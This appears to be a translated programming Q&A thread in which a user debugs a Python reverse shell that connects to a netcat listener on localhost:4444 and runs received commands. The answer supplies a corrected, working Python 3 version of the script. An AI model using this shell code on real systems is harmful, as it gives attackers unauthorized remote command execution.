0

我的外壳脚本:

#!/usr/bin/python

import subprocess, socket

HOST = 'localhost'
PORT = 4444

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((HOST, PORT))


while 1:
    data = s.recv(1024)
    if data == "quit": break
    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,     stderr=subprocess.PIPE, stdin=subprocess.PIPE)


    stdoutput = proc.stdout.read() + proc.stderr.read()

    s.send(stdoutput)


s.close()

我正在使用 netcat 监听端口 4444。所以我运行netcat它并且它正在监听。然后我运行这个脚本,但是如果我在 shell 中输入ipconfig或输入什么东西,netcat我会得到这个错误:

Traceback (most recent call last):
  File "C:\Users\Myname\Documents\shell.py", line 16, in <module>
    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  File "C:\Python33\lib\subprocess.py", line 818, in __init__
    restore_signals, start_new_session)
  File "C:\Python33\lib\subprocess.py", line 1049, in _execute_child
    args = list2cmdline(args)
  File "C:\Python33\lib\subprocess.py", line 627, in list2cmdline
    needquote = (" " in arg) or ("\t" in arg) or not arg
TypeError: argument of type 'int' is not iterable
4

1 回答 1

1

您的代码与 Python 2.7 完美配合。但这会导致 Python3 出现所示错误。因为在 Python 2.X 中,data = s.recv(1024) 的返回值是字符串,而在 Python 3.X 中是字节。您应该在使用 subprocess.Popen() 执行它之前对其进行解码,如下所示:

#!/usr/bin/python

import subprocess, socket

HOST = 'localhost'
PORT = 4444

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

while True:
    data = s.recv(1024).decode()
    if data == "quit\n": break
    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,     stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    stdoutput = proc.stdout.read() + proc.stderr.read()
    s.send(stdoutput)

s.close()

解码字节时,取决于编码集,如果不是 ASCII。

两个建议:

  1. 在无限循环中,我们最好使用 while True 而不是 while 1 来增强可读性。

  2. 如果您使用 netcat 发送命令,收到的字符串将以“\n”结尾。所以 data == "quit" 永远是假的。

于 2013-04-14T15:55:58.690 回答